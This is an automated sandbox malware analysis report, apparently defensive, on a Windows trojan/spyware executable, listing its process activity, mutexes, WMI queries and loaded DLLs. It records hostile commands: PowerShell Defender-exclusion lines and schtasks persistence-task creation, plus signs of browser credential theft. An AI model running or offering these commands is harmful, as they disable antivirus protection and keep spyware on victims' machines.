EQkOjk5Oc0dDk3mV/SXTvCmF8Bz/zaqSfyJbFw8eHA3A2Hor7/+psHBGwTm8i3+GFwNKVqU2yC5i8wMQBiIv/1GIPz55af/sf4RYACTajXlBRuURAAAAABJRU5ErkJggg=='
Source: TmfmVKU.exe.0.dr, SliderControl.cs	Base64 encoded string: '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'

Source: 0.2.lZ8NRWShfC.exe.40f0200.6.raw.unpack, vr1DF7KsLsBO0eaics.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.lZ8NRWShfC.exe.4149a20.5.raw.unpack, t68jHSoYAIlawlIG5e.cs	Security API names: _0020.SetAccessControl
Source: 0.2.lZ8NRWShfC.exe.4149a20.5.raw.unpack, t68jHSoYAIlawlIG5e.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.lZ8NRWShfC.exe.4149a20.5.raw.unpack, t68jHSoYAIlawlIG5e.cs	Security API names: _0020.AddAccessRule
Source: 0.2.lZ8NRWShfC.exe.40f0200.6.raw.unpack, t68jHSoYAIlawlIG5e.cs	Security API names: _0020.SetAccessControl
Source: 0.2.lZ8NRWShfC.exe.40f0200.6.raw.unpack, t68jHSoYAIlawlIG5e.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.lZ8NRWShfC.exe.40f0200.6.raw.unpack, t68jHSoYAIlawlIG5e.cs	Security API names: _0020.AddAccessRule
Source: 0.2.lZ8NRWShfC.exe.4149a20.5.raw.unpack, vr1DF7KsLsBO0eaics.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.lZ8NRWShfC.exe.62b0000.11.raw.unpack, t68jHSoYAIlawlIG5e.cs	Security API names: _0020.SetAccessControl
Source: 0.2.lZ8NRWShfC.exe.62b0000.11.raw.unpack, t68jHSoYAIlawlIG5e.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.lZ8NRWShfC.exe.62b0000.11.raw.unpack, t68jHSoYAIlawlIG5e.cs	Security API names: _0020.AddAccessRule
Source: 0.2.lZ8NRWShfC.exe.62b0000.11.raw.unpack, vr1DF7KsLsBO0eaics.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@23/99@1/1

Source: C:\Users\user\Desktop\lZ8NRWShfC.exe

File created: C:\Users\user\AppData\Roaming\TmfmVKU.exe

Jump to behavior

Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6280:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7560:120:WilError_03
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Mutant created: \Sessions\1\BaseNamedObjects\vzeqdVeQyCURwFIlVilugOYgBYv
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7136:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7228:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7620:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3612:120:WilError_03

Source: C:\Users\user\Desktop\lZ8NRWShfC.exe

File created: C:\Users\user\AppData\Local\Temp\tmp51ED.tmp

Jump to behavior

Source: lZ8NRWShfC.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: lZ8NRWShfC.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.98%

Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\lZ8NRWShfC.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\lZ8NRWShfC.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: tmp4F2.tmp.14.dr, tmpE1F8.tmp.8.dr, tmp4F3.tmp.14.dr, tmpE21A.tmp.8.dr, tmpE209.tmp.8.dr, tmp515.tmp.14.dr, tmp4E2.tmp.14.dr, tmpE1D8.tmp.8.dr, tmp4D1.tmp.14.dr, tmpE20A.tmp.8.dr, tmpE22B.tmp.8.dr, tmp504.tmp.14.dr

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: lZ8NRWShfC.exe

ReversingLabs: Detection: 68%

Source: C:\Users\user\Desktop\lZ8NRWShfC.exe

File read: C:\Users\user\Desktop\lZ8NRWShfC.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\lZ8NRWShfC.exe "C:\Users\user\Desktop\lZ8NRWShfC.exe"
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\lZ8NRWShfC.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\TmfmVKU.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\TmfmVKU" /XML "C:\Users\user\AppData\Local\Temp\tmp51ED.tmp"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process created: C:\Users\user\Desktop\lZ8NRWShfC.exe "C:\Users\user\Desktop\lZ8NRWShfC.exe"
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process created: C:\Users\user\Desktop\lZ8NRWShfC.exe "C:\Users\user\Desktop\lZ8NRWShfC.exe"
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Roaming\TmfmVKU.exe C:\Users\user\AppData\Roaming\TmfmVKU.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\TmfmVKU" /XML "C:\Users\user\AppData\Local\Temp\tmp76F9.tmp"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process created: C:\Users\user\AppData\Roaming\TmfmVKU.exe "C:\Users\user\AppData\Roaming\TmfmVKU.exe"
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\lZ8NRWShfC.exe"	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\TmfmVKU.exe"	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\TmfmVKU" /XML "C:\Users\user\AppData\Local\Temp\tmp51ED.tmp"	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process created: C:\Users\user\Desktop\lZ8NRWShfC.exe "C:\Users\user\Desktop\lZ8NRWShfC.exe"	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process created: C:\Users\user\Desktop\lZ8NRWShfC.exe "C:\Users\user\Desktop\lZ8NRWShfC.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\TmfmVKU" /XML "C:\Users\user\AppData\Local\Temp\tmp76F9.tmp"
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process created: C:\Users\user\AppData\Roaming\TmfmVKU.exe "C:\Users\user\AppData\Roaming\TmfmVKU.exe"

Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Section loaded: windows.storage.dll	Jump to behavior
